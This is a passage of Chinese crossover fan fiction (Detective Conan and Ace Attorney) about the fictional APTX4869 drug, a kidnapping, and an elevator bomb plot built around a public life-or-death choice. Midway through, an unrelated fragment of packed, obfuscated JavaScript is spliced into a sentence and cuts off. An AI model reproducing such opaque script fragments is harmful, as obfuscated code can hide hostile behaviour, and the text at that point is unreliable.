彼时一柳万才已然坐稳了他的地位,虽然职务并未升迁,然而但凡稍稍置身于风暴中的人都能敏锐地察觉出变化。而江户川柯南绝对没有幸免于难。短短……不到五天。他先后连珠炮一般得到消息,先是汐华真理向他揭示了自己长久以来防备的人,既是波本,却也是警察厅公安部的卧底降谷零;接下来,即是这位新同伴丢下的话:汐华真理的母亲是组织成员。单独的这样一句话,叫人摸不清情绪和倾向。是喜是忧,情况是有所缓和还是变得更坏?总而言之,这之后他不再能联系到安室透。另一个消息则来源于探员先生。他语调很平静,这是向一位一无所知的人悼念一位未得幸相认就殉职的警察所应用的最合适的语气。但这不是结束,而是开始。非常令人唏嘘的开始,因为凶手就是汐华真理的母亲。 不幸之中依旧潜藏着不幸。斯人已逝,也没有放过幸存者。 但是该活的还是继续活。没有人可以永生永世地沉浸在悲痛之中;水无怜奈大约最有发言权。假使亲人离世如绵延大雨,那么她已经冒雨沉默独行了非常远。怜悯她是一种侮辱,请把她当作战友。她依旧没日没夜地加班加点,继续敏锐她的双眼,清明她的双耳,不放过别人,也没有宽容自己,最后……算是拿到了至关重要的一棋。 手机震动了一下。新消息的对话框弹出,江户川柯南把文件往包里一塞,干脆利落地背上小跑着出门。小孩的视野只能看到马路边的人行道被分割成规则的形状,缝隙被泥土填满。从这条缝隙跳到另一条缝隙,好像越过一条又一条无形的线。跳过马路边沿,像跳进黑色的大海。看起来真叫人心生怜惜。跳一半叫人当场抓获,叫人提着领子刚好塞进车里,像抓一只猫,无比丝滑。被提溜起来的孩子像个一戳就出声的毛绒玩偶,抬起头,睁大了圆润的蓝眼睛,眨眨眼,算打个招呼。于是对方叹了口气,像注视一枝新发的枝条,柔韧的叶片擦过他的脸侧。 “我为你的坦诚相告感到……意外。” 车门关上之后,没有寒暄。赤井秀一没头没尾地问他:“你知道了?” 自觉地坐上副驾驶,费劲为自己拴上安全带后,两条腿还在半空晃荡,碰不着地的江户川柯南肯定地回答: 是的。 虽说大多数人都管A药叫杀人药剂,但说到底一个敢于开着鱼鹰扫东京塔的组织,实在是没必要再去研究个什么无色无味的毒药杀人于无形。至少,这种药剂一开始的研究初衷并非如此。 APTX4869全称是“APOTOXIN4869”,“APOTOXIN”是由“apoptosis”(程序性细胞死亡)和“toxin”(毒素)两个单词混合而成的,4869的罗马音与夏洛克福尔摩斯的“夏洛克”谐音。数字暂且按下不表,而细胞凋亡(Apoptosis)是哺乳动物细胞中发现的第一个程序性细胞死亡方式,简单点来说,就是我们人体细胞总数一般是保持在一个稳定的数值,当新细胞诞生的时候,一些老细胞会有选择性的死亡。这种死亡一般就由细胞内的基因来控制的。对外则表现为大人缩水成儿童,细胞的诞生比死亡慢,导致身体细胞总数减少使得身体缩小,但是细胞死亡的程度又刚好不会使人死亡。 然而迄今为止,我能知道的也只有三位幸存者。 贝尔摩德挑眉:三位?不知道想到了什么,深呼吸后笑了,发自内心。 汐华真理定定地看着她。 其他人都死了。但是组织一开始研究这种药剂绝对不是为了杀人。我有理由相信它是为乌丸莲耶这个人专门研究的药物,不会置他于死地。也就是“按道理来说”,只能在他身上起效。贝尔摩德听完反而抓错重点一样:乌丸莲耶? 怎么了? 没事。她摆摆手。只是现在愈发觉得你们是一个模子里刻出来的,说话的表情腔调一模一样,连肆无忌惮地直呼其名也……基因真可怕啊,是不是? 基因吗。……考虑到药物的能力是引发程序性细胞死亡,也就是说它仅仅起到一个导火索的作用,点燃之后爆炸的是烟花还是炸药就全看受害者的基因怎么写了。而亲属之间的基因。比起陌生人之间当然要更相似。幸存者们即由此得以免遭不幸。 “……也就是说,所有服用APTX4869而没有死亡,只是返老还童的人,也许都有一定的亲缘关系。当然了,这些互为血亲的人当中,也包括黑衣组织的BOSS。” “这简直是——” “这也不过是一种猜测。我不能得到任何研究相关人员,任何一个人亲口的承认;水无小姐也隐隐约约透露自己也不能保证真实性,只是不能放过任何可能的猜测……她说出于谨慎考虑,自己不能信任汐华真理。他所隐瞒的信息太多。假使可以接触到研究资料——” 赤井秀一打断他说:“如果我说可以呢?——只要你需求的话。” 车内片刻地沉默,这种非现实之感强过以往,绚烂的白昼在四周展开,迟来的轮胎摩擦地面的声音像海上的爆炸一样升起,如梦初醒般渗透。有人别车。大清早的就在城市里追车未免太大张旗鼓,但是对方来势汹汹,也没有先认输的道理。探员先生先一步替人拿了决断,对副驾驶说:“我想你已经猜到自己今天得请假了吧?”江户川柯南已然打通电话,捂着听筒尽量令电话另一边听到的是风和日丽鸟语花香而不是引擎的咆哮:“——小兰姐姐!请帮我给老师打个电话……”电话那一边传来少女疑惑的询问,担忧地猜测他是否是生病了,柯南干笑两声,当场扯了个谎说那个把自己丢来寄养的掉线亲爹忽然把他接走共享天伦之乐,在对方半信半疑中挂断电话的时候瞥见身边的成年人似乎大大方方地受了这个辈分,孩子表情无奈,仿佛平添几岁,看起来相当命苦。 车一路离开城市开往郊区,追击似乎平缓下来。这种气氛的改变是江户川柯南也可以意识到的。一开始除开辈分被占便宜(也不算吧毕竟是他主动送出来的便宜)后的无语,也有几分担忧与防备,担心莫非和那个组织有关;然而随着车速下降,他也感觉到追车并非出于抓捕,而是…… 想要把人赶去哪里。像牧羊犬驱赶羊群。 不过这儿没有谁是羊。 说来百感交集,如今形势大变,人人或多或少也小心一些,本能地藏好自己;然而车到河边,周围的鸟儿的歌声,如从前般清晰急切。闪耀着阳光的天空照在外面的稻田上,无数蜻蜓和水生昆虫的翅膀燃烧着,像吉他弦一样嗡嗡作响。只有人类似乎被同胞的爱恨情仇锁在周遭生活势不可挡的海浪外。雪佛兰一个漂移,和来车大大方方对峙。人家也不和他墨迹,从车上下来潇潇洒洒地走了过去,神定气闲地过来敲了敲窗户。车窗降下来,他的神情看起来年轻而恣意——一点也不像是个年纪逼近三十的人的神情,一边儿还算得体地拉副驾驶上的吉祥物,一边儿无畏地与赤井秀一对视。我们猜他是在对于驾驶员下通知,但看起来太像挑衅;江户川柯南惊觉自己或将成为在场最有情商的一个,或者说最肯说些动听话的那个,遂紧张刺激地夹了一下嗓子说松田警官早上好。于是那双墨镜掩盖的被点了高光的蓝色眼睛和小孩子对视,实在是潇洒。“跟我走。”松田阵平说。 半道抢人。行。江户川柯南深吸一口气,道我话还没说完,通融一下?松田警官?松田哥哥?“我帮你说。”松田阵平干脆利落地截断他的话头,这语气听起来快活,而且挑事。 他以一种前去打架一般的气势快走几步,衣摆随着他的行止而划过剑拔弩张的弧线。与此同时另一边则传来车门打开关闭的声音,毫无疑问,在这样的寂静中,上帝可以通过设立在世界另一头的的监视器,听见一只麻雀飞落的声音,甚至可以听见罪恶在人心错综复杂的迷宫中启程的第一阵微弱的脚步声。在这种寂静中,松田阵平试图从对方的脸上寻找一种征兆——一种如橡皮筋啪地一下崩断的声音。我们无从得知他找到了没有——“你不该待在这儿。”——但他开口了。也许这也是踩油门的一种。 老实说,这话真不好听。但它所得到的回答简直令人糊涂了。“我知道那份提案的内容。”赤井秀一断然言之,他说这话的时候就一种像乌鸦的翅膀轻擦一下的表情在他脸上一闪而过,“名字很长很拗口。当然总结下来的核心意思只有一条:我的名字,身份,年龄等等各项信息在至多不超过一个月以内将会被公之于众。想上网查的话随时,清清楚楚,明明白白,相当齐全,并且可靠。和暗恋者应知应会唯一有出入的大概是没有调查过我有多少前任?”他随口开了个玩笑,这样看来他大概是现场最轻松的那个,因为其他人并未被他逗笑。于是他自然地把话题拉回正轨,“总而言之,在我之后的每个非本国搜查官也会受到同样的招待。他们的信息会先递到监察会手上,经过这个国家法律系统的核实。而我们都知道的,监察会的会长——” “所以你也知道是谁——算了。” 松田阵平非常突兀地截断话头,又紧急撤回自己的后半句话。他心知肚明自己的问题是什么,但他执意装作看不见房间里的大象。其实他心里有一个猜测…… 其实他早知道那个提案是谁递交上去的。 “是我。” 在御剑怜侍抛出这个问题之前,汐华真理没有思考过自己要用什么样的回答来瞒天过海。就好像法案的苦主,来自于海外的二位搜查官不会杀到他脸上来,自己的恩师兼前辈不会前来兴师问罪。眼下这个问题叫一个最不相干的人提出,倒像是上天开恩,恩准赐予他回忆和斟酌回答的时间。而他坦白。 那个法案就是我递交的。那又如何。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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汐华真理没有看他,而是从后座上直起腰,呼吸放慢,盯着驾驶座上的司机,一副蓄势待发的样子。他的身体重心慢慢地前倾,而御剑怜侍看不到的角度,汐华真理甚至尽可能地避开了后视镜所包括的范围——而后忽然发力,在有限的车内空间里一手卡住了司机的脖子,另一手去控制方向盘。但不详的声音从他背后传来。他听见了枪栓被拉响的声音,再回头,后备箱的黑暗中伸出一双手,枪口对准了御剑怜侍的太阳穴。 “坐回来。” 黑暗中的声音并不耳熟。 没法在子弹击发之前掀了后座直接把绑架犯拖出来,就没有反抗的胜算——还不如劫持我。汐华真理想。虽然单论体型和身材来看自己不比御剑更强壮,但实质上的战力则是另一种程度的天壤之别。算了。就算劫持自己,我也没有锁血了,我一旦死掉,御剑怜侍未必跑得掉……躲在后备箱中实施绑架,需要什么样的耐力和爆发力,又有着怎样丰富的经验—— 会是虎狼死家吗。 他依言坐回来。黑布蒙上他的眼睛,与此同时听见后备箱的声音再次要求:“把车窗关上。” 等于变相阻隔了他的嗅觉和听觉。滴水不漏,而且,对症下药? 在那须臾之间,他们陷入了可怕的寂静。黑暗淹没了语言,只是随着一个不可阻挡的思路迅速地向后退去,直到回到了曾有无尽的黑暗聚集在所躺的大地之上的时刻。寂静之中只有听觉能识别到地球在耳下痛苦地起伏,随后是可怕的沉寂。唯一的低语是耳中的血液嘶嘶作响,宛如怒涛拍打礁石。他听见御剑怜侍并未慌乱,而是提起精神,试图从犯人口中套话。对方的确吐露出些许信息,他的确早有计划躲在车内是真,期间也有过犹豫退却;但方才听见汐华真理肯定地回答提案是他递交,终于热血上头,什么都不管了,实施计划。 听起来像报复。但是…… 逻辑太通顺了。很奇怪。非常奇怪。 汐华真理捏了捏御剑怜侍的手背。他猜测对方也听出了不对。而御剑遵循了猫爪在上原则,反过来,轻轻拍了拍汐华真理的手背,似有安抚的意味,看来是心里有底。车不会永远开下去。 但是你说有三个幸存者。 黑暗之中贝尔摩德的声音隐隐约约,重又浮现。按照原作来说的确如此,江户川柯南,灰原哀,以及领妹赤井玛丽,目前为止是这三位。然而眼下灰原哀还是宫野志保,那多出来的一个幸存者找谁说理? 是我吧。一个浅浅的微笑绽放在他憔悴不堪,被夜晚泡得苍白的脸上。他的脸被瞬间的光亮照彻,贝尔摩德在汐华真理的对面放声大笑,仿佛被玩笑逗乐了——这个没头没脑的残酷玩笑,使他们的心境猛然离开了夜晚的平静详和。她的笑声堪堪止住,然而发觉这个年轻人的表情不变,像夜雨一般冰冷地绵延。于是她的脸上还残余着笑意,眼神却变得不寻常了。 倘若把A药比喻成炸.弹,那么药效发作就是爆炸了。想要阻断爆炸,把炸药偷换成烟花当然可行,但事实上这是很难办到的事,也很少有人会这么解决。最常用的方法还是阻止数字归零,引线烧断……也就是抑制药物发作,使其失活。在原作中,我们常看见柯南生病发烧,或者主动饮酒使体温升高从而短暂地变回正常的体型。由此可见药物失活的温度实际上并不高,人体尚能忍受,只是不能长期坚持。 但是,有人的体温恰好不在这个区间,可以持续性地略微的高一些。 我猜您其实并不清楚……母亲(贝尔摩德留意到他说这个词的时候总是不太顺口。这是当然的嘛,毕竟才被找到,她宽容地想)的长生来源于什么。但她的体温不寻常地高。有两种可能:假使她服用的药物出自组织,那么她还活着就证明和乌丸莲耶有血缘关系,连带着我也会被药物豁免;假使不是,我也应当继承了她的体温,药物将不会在我身上发作,我由此得到一个暂时的生还。 我什么时候喂你吃过药? 我认出千奈美和佑希事实上长相相似的时候。汐华真理毫不迟疑地回答。当然,事实上认出这点的是萩原。他在心中并未冒领这份功劳。那个女孩递给我的纸杯,杯中的水。女士。您为了这个机会,一定思考了许久……卡在我去寻找一柳万才之前,卡在四周没有地方放杯子的空当,并且用那样一张脸看我。好像我不喝,有一个年轻的女孩就会因为善意被拒而伤心死一般。 但是你没有死。 如果我死了呢? 贝尔摩德的表情不太好看,她勉强笑了笑,但是眯起的眼睛说明她的心情并不好:没有那种可能,你就是活下来了。 如果我活下来,那么我是波士力娇的孩子,可以被接纳,就算不被接纳,和别人一同面对生死关头时,也会被赋予多一层的考量;如果不是,那我就和世界上若干的人,若干的事物,和笼子里的鸟,和街边的老鼠没有区别。我得到的一切,我失去的一切,都是来源于什么?我该去向哪里?我来自哪里?谁是我的友亲?谁是我的仇敌?我又将与谁作战?汐华真理没有出声。但在他沉默的那一刻,贝尔摩德感到不属于她的痛彻心扉——那是一位优秀女演员在面对剧本时隔着纸页品尝到的来自彼方的感情,是一位编剧透过自己的作品所传递出来的思考与困惑。这是她的职业素养,她必须理解——因为他猛然离开了之前的安静从容。她离开了,绝口不提这个石子在她心上砸出的涟漪。我所作的一切,这是善良吗?还是不够激烈的恶意呢?到底谁才是我的敌人? “因为善意无能为力的时候,即是次恶对决真恶之时。然而次恶失败,却不意味着真恶就会胜利。” 在展现出自己早已有所打算之后,很遗憾,同僚的可靠往往带给战友安心与愉悦,然而赤井秀一这副模样总叫人看了憋着一口气。松田阵平拉着江户川柯南想走,又觉得话没有结束,仿佛进入了某种精神领域的雪崩区域,在那里,最轻微的声音也有可能引起下方黑暗山谷的雪与石块发生致命的滑坡。天空就如碧波荡漾的海洋,山被云压顶,这朵硕大无朋的层积云如同一艘无畏舰。他十分不爽:“既然知道自己接下来会被挂通缉令——通缉令都没有这么详细——不争取做些什么,在那里站着有什么用?你接下来的计划呢?” “撼动异国的法规吗?我自觉没有这个本事。”(与此同时另外一个卑鄙的外乡人在十六楼打了个喷嚏,心想这带魂环的屋子阴气确实重,天天身后跟着个幽灵谁来不感冒)他说,“她赶我走,那我就遂她的意,离开就是了。” 这是放弃吗?正义不是必胜邪恶吗? 事实上在许多极其重要的博弈领域,谁最终能动员的力量大,谁就会取得最终的胜利。有底线的人动员出的力量无法超越无底线的人,在这种博弈之下,正义和邪恶是最无济于事的关键点。善意无能为力的时候,即是次恶对决真恶之时。然而次恶失败,却不意味着真恶就会胜利。因为真恶的胜利会是短暂的。其内部的不可调和性会致使相互毁灭。 “她会自取灭亡。” 当赤井秀一将自己的判断宣之于口时,听者意识到了一种难以察觉的如释重负。这种感觉,好似是一个在生命长河上建筑大坝,使河水停滞不前,污浊发臭的障碍物,现在被冲破,使生命之水再次奔流入海。而他的表情依旧不为所动,仿佛他与现实的争斗无关,而是一个巨大天体投下的倒影,反射出心上的外质之光。 71.真理就是没真理 坏消息是他不知道自己身在何处,好消息是并不是没人知道自己失踪。自己知道也是有用的。把他们两个丢进来的人显然并不是特别在乎他俩的动向,不光大剌剌把两个人放到一起,也没有什么东西被用来监视,这与之前对方做出的绑架的周密安排大相径庭,像个外行。不,或者说他比预想之中更了解二位受害者。 在灵活地把绑在身后的手绕到前身,扯下眼罩之后——一片黑暗。但是黑暗消减了人的视觉,会代偿一般地敏锐人的听觉。汐华真理捕捉到身后一个略显急促的呼吸声,伸出手,精准无误地摸到御剑怜侍的胸肌——对不起忘了我比你矮了点——手上移,虚虚地罩在对方的脸上,感觉到急促的呼吸吐在手心中,有点不寻常。他为什么在颤抖? 这个问题马上就有了答案。汐华真理把他的眼罩扯下来后,检察官先生立刻皱着眉(其实看不见,但是御剑的眉头从来不曾舒展过,这么讲多半不会有什么错),痛苦万分地跪倒在地,险些;汐华真理一把把他捞了起来,并且尝试自己去肩负对方身上绝大部分的重量。倘若有外人看见,会觉得这样的场面相当失衡,怀疑这只白毛宠物鼠会被大缅因压成鼠饼;但说实话这个重量对于汐华真理来说其实轻轻松松。 真正令他不知所措的是御剑怜侍所展现出的不同寻常的失态,在最初的两秒钟内他惊慌失措地猜测对方是否在自己看不见或者不曾留意的时候受了什么暗伤,这样的话是决计拖不得的,得想办法带人离开,越快越好。两秒钟之后他迅速反应过来: 因为我们在电梯里。 御剑怜侍依旧在发抖。而且他不停地试图将汐华真理推开,自己缩到角落中。汐华真理试图和他说些什么,想要宽解他他已经不再是当年那个只能眼睁睁看着一切发生的孩子,想要承诺自己可以带他离开,话还来不及出口就被御剑怜侍捂嘴堵回去。他一愣,而后很快意识到,也许在对方脑中,自己说再多话也是无用。御剑先生已经被痛苦晦涩的回忆抛至任何人都无能为力的过去,那里充斥着灰根高太郎濒死前的哭号,毫无形象地嚎叫:不要抢我的氧气! 没有办法。汐华真理扶着御剑怜侍坐下,为了确保推算无错,他曲起手指敲了敲“墙壁”,金属特有的回声在狭小的空间中反复衍射,御剑怜侍几乎是下意识地把自己蜷缩地更紧了。三折叠怎么折还是很帅。 十八年前,DL-6号事件发生。因为地震,法院电梯停电,御剑怜侍和父亲御剑信以及法警灰根高太郎被困电梯中,期间其父御剑信因未知原因被枪杀。十五年后,也就是三年前,他被卷入律师生仓雪夫被害案,被怀疑为杀人凶手,后委托成步堂龙一为辩护律师替自己辩护。经成步堂龙一的努力获证清白,查明本案真凶灰根高太郎。同时在审理本案的过程中牵扯到的十五年前的悬案DL-6号事件一并被成步堂龙一解决,查明真凶为御剑的老师狩魔豪。本案与DL-6号事件均被律师成步堂龙一翻案,然而他对于幽闭空间以及电梯的PTSD持续至今。 咱也不知道御剑怜侍方才都没有摘下过眼罩,为什么如此精确地就能判断出自身所处的地方,并且当场PTSD发作。请不要误会,这并非质疑;应该说就算质疑成步堂龙一可能利用他人(四部成步堂只能说是抛起王泥喜后接住了他),也没有质疑御剑的可能;说到底这毕竟是造成他一生中最大阴影和对命运影响最大的事件,比他人更敏锐也属正常;就好像明明柯南才是侦探,但对于组织成员的感应,一直以来都是灰原哀更先确认——这是一种直觉。直面命运幸而未死后的馈赠。 电梯。 他尝试去触碰电梯里的按键,虽然大概率按不动,他也不敢摁;万一乱摁导致电梯坠落或者冲顶就完蛋了。前者下蹲抱头还有救(御剑也救不了了),后者不如直接重开。 他没有用力,而是尝试辨认摁键上的盲文。没学过,另一边拉娜唯紧急现查呢。查也查的鬼鬼祟祟,不敢声张。 39.这是最小的数字。 他心想好了,但是也没那么好,有点坏。 东京市是世界上超高层建筑数量最多的城市之一。截至2019年,东京已建成或封顶的150米以上的建筑有160座。但是把人往电梯里锁,看样子是保证电梯停运了,那么只要调查哪些超高层建筑电梯故障,范围是可以有效缩小的。她确认了寻找方向,想要下令又收回手;我一时不能出现,谁又在已知我还活着的基础上愿意帮我呢。谁都不合适,就算是贝尔摩德也——那个电梯轿厢里毕竟还关着个检察官。除此之外她确实还有的选,但是安室透和牙琉雾人的脸在她脑子里一闪而过,就马上被刷下去了。说来实在搞笑,也许是出于她自己都搞不明白的直觉,她觉得这两个人会答应的,但中间经历什么样的心路历程,不好说。连带着会引发什么后果也说不能判断了。只能舍近求远。 早前觉得扯上血缘关系很麻烦。没想到现在来看还算方便;女孩的声音带着一丝因许久不曾响起而造成的混沌与嘶哑,这种时候问问萩原大概会是好主意。他也最合适。但是舟桥佑希旋即发现,除非自己进行灵媒,否则,周遭没有她想找的那个警察先生。她不大明白,余光瞥见一道身影,白色泛着粉的连衣裙。 美柳千奈美兴致缺缺地看着她。说:不用喊了。他好像去陪他那个朋友,脱不开身。 脱不开身?她看见眼前这个女孩立刻直起身子,盯着她: “也就是说那个电梯轿厢顶上栓了个炸.弹,是吗?” ……虎狼死家会用炸弹吗,竟然? 千奈美没有回答她,只是静静望着她在自己面前长长吐出一口气,即便连日关押,倒好像不曾给她的精神造成什么损伤,以至于现在还敏锐地捕捉到她话里隐含的意思:“松田脱不开身?也就是说在工作,等于他们已经知道可能有炸.弹的事情了?”她转而想起松田阵平半道劫了江户川柯南就跑的行为,也有了答案。发现事态比自己想的更麻烦,不过从0到1这个最难的部分已然完成,已经有人着力解决,自己只需要提供帮助和引导,也算是不幸中的万幸,大概。我很相信他,有一个总是把救人放在第一要位的同盟,总归是非常可靠的。 我觉得你其实更像那两个女人。千奈美没头没尾地忽然这样说,声音非常奇怪,像一个黑洞,一瞬间令她头皮发麻。再回头,千奈美像蛇吐着信子一般,不知道什么时候凑到了她的耳畔,道:你还是先顾好你自己吧。她充满怨恨和快意地宣布,这栋楼可不安全,不幸的是,这一点谁也不知道……她的话还没说完,被一记只存在于亡灵的世界里的清脆声音打断。随后她感受到死后已经很久没有体会到的疼痛爬上面颊。 舟桥佑希的手还没有放下。美柳千奈美反手想打回去,被一把牢牢攥住手腕。不同于千奈美——这位逆转系列出了名的女鬼犯下恶行时,其实总出于走一步看一步的动机;因为想要钱而绑架,因为想要脱罪而把项链挂到素不相识的大学生的脖子上。做下这种事时,总有火焰在眼中熊熊燃烧;但她却不能从舟桥佑希的眼中看见同样的火焰。那个女孩面色平静地问她: “我只有最后一个问题。你明明可以什么都不告诉我,时间一到,炸.弹爆炸,我不明不白地死去,最为稳妥。但是你为什么要告诉我这个消息……” 你可不要误会我忽然善心大发,可怜你。千奈美的睫毛投下触角般的阴影,我并非帮忙,只是喜欢折磨人罢了。这个国家在判处死刑时不会告诉犯人何时执行,犯人只会怀着对注定到来的死亡的忐忑度过一天又一天。我告诉你,是不喜欢你无知无觉地就那么一死;我不会告诉你脚下的炸.弹什么时候爆炸的……你没有想到吧?有一天你也会和我处在同样的境地。被人关在监狱里,等着不知道什么时候到来的死亡……有一个很好玩的事情。 美柳千奈美的声音放缓了。变得很温柔,很细微,像她诱骗成步堂与之恋爱时一样,一条蛇在即将发起进攻前总是尽可能消除自身的存在。 刚才寄到警视厅的电子邮件是这么写的;我看到了,内容大概是这样的: 接下来的东京会发生两场爆炸。现在我会提供给各位选项,两个地址: 选择援救两个好人,还是一群罪人? 做下选择后一处倒计时停止跳动,另一侧加速。 ……不过,请注意。这并不单单面向各位优秀又负责的警官们求问。当然啦,最终选择权敲定在警察手中,我总归是尊重法律的执行者们的。大家都为此付出了很多;不过警官们不肯选的话,也可以好好地听一听群众的意见。 在邮件的最后字符全部混乱不堪化为乱码,包围着两个选项如行星环绕恒星;一个强大的覆盖两千两百平方千米的信号辐射四周,人们在日光下点亮自己的手机,还不知道自己接下来将或不甘或不解或无言地度过这求索内心的一小时。 而美柳千奈美重又回归了她美丽纯洁的神态,就好像刚才的一巴掌压根没有扇到脸上,什么也都不曾发生过一般。她的笑容完美、无可指摘……尤其是在迎上对于受害者对于将到来的不幸产生了隐隐的预感,而急速缩小的瞳孔: 但是,悄悄告诉你,其实地址是交换过的。爱你的人会害死你。 她又轻又快地说。现在,祈祷别人更爱你的哥哥;祈祷他死。祈祷你的血亲人缘良好,祈祷他众星捧月;祈祷自己苟活,祈祷自己就此脱逃。她不计前嫌地捧起那只刚刚扇到她脸上的手,强行撑开,十指紧扣,鼻尖对鼻尖,对着那张与自己有四五分相似的脸。彼此毫不相关甚至互相暗害的灵魂被困在同批生产的躯壳中,致死也不得脱身;我们绫里家就是这样的啊。 说来神奇,被千奈美如此刺激一番,三个人,同一个灵魂,竟然神奇的冷静下来。眼睛习惯了无光的轿厢,汐华真理变得可以看见一些东西——不过还是不比拉娜唯本人自己来。他低头看着御剑怜侍平躺在轿厢底,他倒是不再发抖,但并不是克服了PTSD。是汐华真理实在看不下去对方意识模糊还如此痛苦,很担心他抽过去,干脆给人掐晕先睡一会。他还特意试着扛了一下御剑,保证对方即便昏迷自己也能带着跑。 就在这样的一片黑暗之中他听见了微微的电流声。只有一瞬间……一瞬间,他很高兴,很激动。然后这种快乐就像被泼了一盆冷水;那个声音属于一柳万才。 会长先生四平八稳地向他确认:“御剑的状态如何?” “他晕倒了。”汐华真理谨慎地回答。同时他感觉有一点微妙的怨恨——直觉比逻辑先一步捕捉到了不适,而后他才明白自己究竟发现了什么—— 御剑才是这一次的目标。自己是顺带的。 “……唔,那更好了。”一柳万才道,“想到御剑过去的经历,他昏过去是情有可原,也不必醒了……我有些事想要告诉你。又是被绑架,又是被放进这样黑暗的密闭空间中,真是辛苦了,汐华。不要急,等一下我找的人就会来救你。” “救我们?” “救‘你’。” 一柳万才说。他说这话的时候语气很亲切,就好像小学老师发现孩童不会说话,纠正重音错字一般寻常。他补充:“走的时候小声一点。” 遗憾的是,汐华真理太聪明了。往后的许多年他都对于此时自己的聪明耿耿于怀,非常后悔,其实不常回想,仍旧不时感到悲痛万分。他立刻,几乎是不假思索地回答:“我不会走的。会长先生。”自己前脚离开,后脚就是轿厢爆炸。绝对。他不会怀疑。 “看来她养孩子的水平也不怎么样,孩子总有叛逆的时候。”一柳万才笑了一声,这声音不似发自真心,“不过,作为家长,肩负的责任就是要在孩子耍赖的时候约束他的行为,使得他不会误入歧途,走上正轨。” “您是想约束我吗?您生气了吗?” “其实生气了。”按照汐华真理对一柳万才的了解,他大概在办公室中热泪盈眶。他们父子一向感情充沛,“但是,孩子。这不会影响我和你母亲的合作关系的。我们仍旧在一个紧密的同盟之中。——也不要这样提防我。我没有代替她教训你的意思,你会没事的。” …… 通讯挂断了。 他的态度同样令人生疑。 拉娜唯思索着一柳万才的话。他的语气印证着这次事件必然在他的了解和默许之下,而对方既然敢打包票,意味着,至少完全按照一柳万才的计划推进的话,汐华真理这边不会有事;哪怕他不肯离开轿厢,也决计不会出事。看起来他还想保留我这个同谋。 那也就是说无论如何都是另一边会爆炸。 ……如果按照那二位闲得没事干就爱给人拉亲缘关系的意志的安排,佑希也该是我的女儿。拉娜唯感到一丝丝不舒服。一柳万才究竟知不知道佑希是我的女儿?看起来是不知道的,因为他显然大剌剌地牺牲了佑希,没有暗牌相救。那他可能知道这回事吗?比方说他知道佑希是我的女儿,但他认为我极端的重男轻女,一点儿都不在乎这个女儿,即便她死了我也绝对不会同他生气?我大概不至于如此。 也就是说他还是认为佑希不是我的女儿。这个答案应当没错,但拉娜唯总觉得哪里不对……难道一柳万才完全不知道佑希与自己的关系,只是误打误撞地祸害到自己头上?很奇怪,我跳步骤了。一定。但现在不是纠结的时候。其实一柳万才的判断还真没错:对于拉娜唯来说,假使形势不允许,哪一个孩子死了,都不会对她的抉择造成影响。也就是说就算舟桥佑希真的受害,她更多的也是被算计的愤怒以及倒霉到自己头上的挫败,并非痛失子女的悲哀。拉娜唯只是清楚了自己接下来的援救方向,而后没有其他;她现在最为在意的还是一柳万才的目的。 既然不管怎么选,都是佑希那边爆炸,那意义何在呢。或者说,他想要这个结果来倒推一个什么样的过程? 期间电梯内通讯不再响了,但汐华真理疑心电梯中的监控实际上正在兢兢业业地工作,等待一个时机。等待什么时机呢?他站起来。 等待御剑怜侍醒来。 他忽然明白了。 “如果是你的话。”汐华真理自言自语,垂着眼,但没有聚焦在御剑怜侍身上。他的视线像死鸟一样掉下来,“如果我是你的话,发现身边那个和自己一同被绑架的人不在了,一定会叫警察不必管自己。”不为什么。并不是因为一边人多一边人少,人命何以衡量?只是他说不出别人先来救自己的话。假使汐华真理在这儿,他恐怕还要犹豫,自己死了是问心无愧,然而带了别人一同死却不能划作一谈;不在就不用犹豫了。一柳万才所做的一切就是为了制造这样一个环境,促使御剑怜侍做出这个选择。 而后两边的地址交换,最后留给公众的结局只有一个。年轻的检察官为了自己而牺牲了罪犯。只是罪犯,人尚且可以容忍;但当中有个女孩。一个未成年的女孩。 难怪一柳万才如此有把握。他并不是要杀死谁,杀死一个人的躯体,是最简单最粗暴的手段。他是要毁掉御剑怜侍这个人存在的正当性——这甚至是御剑生命中的第二次。第二次。这样的灾难。 御剑怜侍是个不折不扣的好人。汐华真理感觉到自己的心微微地颤抖,他太狡猾了。御剑先生。您什么都没有干,但您什么都不必干就夺走了我的退路,使我不能离开,不能弃您于不顾。既然我在这里,一柳万才就不会引爆的话,我就会永远呆在这。同样的,也劳驾您不要对警察说出任何——不要管我——之类的话—— 刚才他把御剑怜侍好好地平放在地上,此时瞧见检察官先生微微蹙眉,虽然没有睁眼,但是好像要醒了。劳烦您再睡一会。他把手伸进御剑脖子和地面之间的缝隙,一捏,蹙着的眉头就又松开了。在母亲——我为什么要这么说?那就——我自己救下我妹妹——其实还是我自己——之前。不要醒来。拜托了。拜托了。 我还不足以面对您苛烈的正义。像老鼠难以面对太阳一样。 他寂静地,坐在轿厢中央时,像个安详的地藏雕像。期间通讯再一次被接通。想来警察们也不是吃干饭的,排查到自己在哪里需要时间,但不需要很长的时间。这一次并不是一柳万才了。有个声音问汐华真理,想必是出于谄媚和私下的示好,问他要如何动作。是来救您,还是—— 对啊。我在他们面前,是一柳万才信赖、甚至超越对于亲子的信赖的副手。他们做出决定,少不了咨询我的意见。我的意见一定程度上正代表着会长先生的。汐华真理忽然感觉脑后像是被人揍了一拳,好像世界的真实展开在自己的面前。他凑近通讯的话筒,问对面:我是谁? 对面很惊讶,很意外:什么叫,您是谁…… 字面意义上的。 汐华长官。 对。他感觉自己的心气连带着吐露出的字句一并消散在这个黝黑狭小的棺材之中,就好像自己已经被下葬。来救我。他说。什么线索? 39楼。 ——我停止行进,转过身来休息,确认我都吸足了气,憋足了劲,然后再抓捕并放倒看守,他们在我们面前若隐若现的黑暗中低矮的,如同一头反刍母牛的背部轮廓的防护墙里。 ——然后我找到了我的目标。我的雇主要求的,那个短头发的女孩。她坐在属于她的房间里,满脸不可置信。我放倒了她,无愧于我身为杀手的传承。当然,雇主并不要求我杀死她,而是让我把她带来。我一向遵守契约精神,多的事不会做。我带走了她。一切都很顺利。 谁雇佣虎狼死家绑架我! 失去意识之前舟桥佑希望着来人脸上的针孔痕和棒球手套,感到前所未有的疑惑。耳边听见千奈美的嘲笑,又像是意义不明的含混的奚落。你也被他绑了。啧啧。但是。但是。就是这种不爽,让舟桥佑希十分敏锐地意识到,也许这是一个转机。假使这个雇佣虎狼死家的人出于对她不利的动机,千奈美一定非常喜悦,而不是像现在这样。那个死去的女人。她不甘心。 